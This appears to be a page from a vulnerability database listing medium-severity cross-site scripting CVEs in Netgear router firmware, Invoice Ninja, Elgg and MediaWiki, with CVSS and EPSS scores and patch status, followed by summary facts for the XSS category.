MEDIUM PATCH This Month

NETGEAR R7000 devices before 1.0.9.88 are affected by stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Netgear XSS R7000 Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Certain NETGEAR devices are affected by reflected XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Netgear XSS Cbr40 Firmware +32
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

invoiceninja is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Invoice Ninja
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

elgg is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Elgg
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

In MediaWiki through 1.37, the Special:ImportFile URI (aka FileImporter) allows XSS, as demonstrated by the clientUrl parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mediawiki Fedora
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39245

Related CWEs

MITRE ATT&CK

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